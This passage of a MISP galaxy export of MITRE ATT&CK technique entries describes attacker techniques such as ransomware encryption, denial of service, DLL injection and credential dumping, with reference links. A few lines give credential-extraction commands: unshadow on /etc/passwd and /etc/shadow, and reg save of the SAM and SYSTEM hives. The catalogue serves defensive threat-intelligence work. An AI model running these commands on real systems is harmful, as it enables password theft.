In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"*

Table 3854. Table References

Links
https://attack.mitre.org/techniques/T1486
https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary
https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
https://www.us-cert.gov/ncas/alerts/AA18-337A
https://www.us-cert.gov/ncas/alerts/TA16-091A
https://www.us-cert.gov/ncas/alerts/TA17-181A

Exploit via Radio Interfaces - T1477

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.

Baseband Vulnerability Exploitation

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

Malicious SMS Message

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477"*

Table 3855. Table References

Links
http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html
http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/
https://attack.mitre.org/techniques/T1477
https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html
https://srlabs.de/bites/rooting-sim-cards/
https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf

Network Denial of Service - T1498

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498"*

Table 3856. Table References

Links
https://attack.mitre.org/techniques/T1498
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf

Endpoint Denial of Service - T1499

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

The tag is: *misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499"*

Table 3857. Table References

Links
https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
https://attack.mitre.org/techniques/T1499
https://capec.mitre.org/data/definitions/125.html
https://capec.mitre.org/data/definitions/130.html
https://capec.mitre.org/data/definitions/131.html
https://capec.mitre.org/data/definitions/227.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf

Credentials from Password Stores - T1555

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"*

Table 3858. Table References

Links
https://attack.mitre.org/techniques/T1555

Exfiltration Over Web Service - T1567

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"*

Table 3859. Table References

Links
https://attack.mitre.org/techniques/T1567

Search Open Technical Databases - T1596

Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External

Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Open Technical Databases - T1596"*

Table 3860. Table References

Links
https://attack.mitre.org/techniques/T1596
https://dnsdumpster.com/
https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
https://shodan.io
https://www.circl.lu/services/passive-dns/
https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
https://www.sslshopper.com/ssl-checker.html
https://www.whois.net/

Modify Cloud Compute Infrastructure - T1578

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578"*

Table 3861. Table References

Links
https://attack.mitre.org/techniques/T1578
https://content.fireeye.com/m-trends/rpt-m-trends-2020

Gather Victim Identity Information - T1589

Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589"*

Table 3862. Table References

Links
https://attack.mitre.org/techniques/T1589
https://github.com/dxa4481/truffleHog
https://github.com/michenriksen/gitrob
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
https://www.opm.gov/cybersecurity/cybersecurity-incidents/
https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/

SNMP (MIB Dump) - T1602.001

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001"*

Table 3863. Table References

Links
https://attack.mitre.org/techniques/T1602/001
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051
https://www.us-cert.gov/ncas/alerts/TA18-106A

Logon Script (Windows) - T1037.001

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\Environment\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001"*

Table 3864. Table References

Links
http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
https://attack.mitre.org/techniques/T1037/001
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx

Push-notification client-side exploit - T1373

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)

The tag is: *misp-galaxy:mitre-attack-pattern="Push-notification client-side exploit - T1373"*

Table 3865. Table References

Links
https://attack.mitre.org/techniques/T1373

Dynamic-link Library Injection - T1055.001

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"*

Table 3866. Table References

Links
https://attack.mitre.org/techniques/T1055/001
https://www.endgame.com/blog/technical-blog/hunting-memory

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Exploit Public-Facing Application - T1190

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"*

Table 3867. Table References

Links
https://attack.mitre.org/techniques/T1190
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://cwe.mitre.org/top25/index.html
https://nvd.nist.gov/vuln/detail/CVE-2014-7169
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://us-cert.cisa.gov/ncas/alerts/TA18-106A
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Untargeted client-side exploitation - T1370

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)

The tag is: *misp-galaxy:mitre-attack-pattern="Untargeted client-side exploitation - T1370"*

Table 3868. Table References

Links
https://attack.mitre.org/techniques/T1370

Non-Application Layer Protocol - T1095

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095"*

Table 3869. Table References

Links
http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
http://support.microsoft.com/KB/170292
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1095
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Multi-Factor Authentication Interception - T1111

Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111"*

Table 3870. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://attack.mitre.org/techniques/T1111
https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx

Host-based hiding techniques - T1314

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).

Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)

The tag is: *misp-galaxy:mitre-attack-pattern="Host-based hiding techniques - T1314"*

Table 3871. Table References

Links
https://attack.mitre.org/techniques/T1314

Network-based hiding techniques - T1315

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315).

Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Network-based hiding techniques - T1315"*

Table 3872. Table References

Links
https://attack.mitre.org/techniques/T1315

Targeted client-side exploitation - T1371

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)

The tag is: *misp-galaxy:mitre-attack-pattern="Targeted client-side exploitation - T1371"*

Table 3873. Table References

Links
https://attack.mitre.org/techniques/T1371

Insecure Third-Party Libraries - T1425

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.

For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Insecure Third-Party Libraries - T1425"*

View relationships graph

Insecure Third-Party Libraries - T1425 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 3874. Table References

Links
https://attack.mitre.org/techniques/T1425

Exploit public-facing application - T1377

This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).

The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit public-facing application - T1377"*

Table 3875. Table References

Links
https://attack.mitre.org/techniques/T1377

Search Victim-Owned Websites - T1594

Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594"*

Table 3876. Table References

Links
https://attack.mitre.org/techniques/T1594

https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/

/etc/passwd and /etc/shadow - T1003.008

Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>

The tag is: *misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008"*

Table 3877. Table References

Links
https://attack.mitre.org/techniques/T1003/008
https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html

SMB/Windows Admin Shares - T1021.002

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

The tag is: *misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002"*

Table 3878. Table References

Links
http://support.microsoft.com/kb/314984
https://attack.mitre.org/techniques/T1021/002
https://capec.mitre.org/data/definitions/561.html
https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
https://en.wikipedia.org/wiki/Server_Message_Block
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
https://technet.microsoft.com/en-us/library/cc787851.aspx

Reduce Key Space - T1600.001

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Reduce Key Space - T1600.001"*

Table 3879. Table References

Links
https://attack.mitre.org/techniques/T1600/001
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Security Account Manager - T1003.002

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- pwdumpx.exe
- [gsecdump](https://attack.mitre.org/software/S0008)
- [Mimikatz](https://attack.mitre.org/software/S0002)
- secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

- <code>reg save HKLM\sam sam</code>
- <code>reg save HKLM\system system</code>

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)

Notes: * RID 500 account is the local, built-in administrator. * RID 501 is the guest account. * User accounts start with a RID of 1,000+.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002"*

Table 3880. Table References

Links
https://attack.mitre.org/techniques/T1003/002
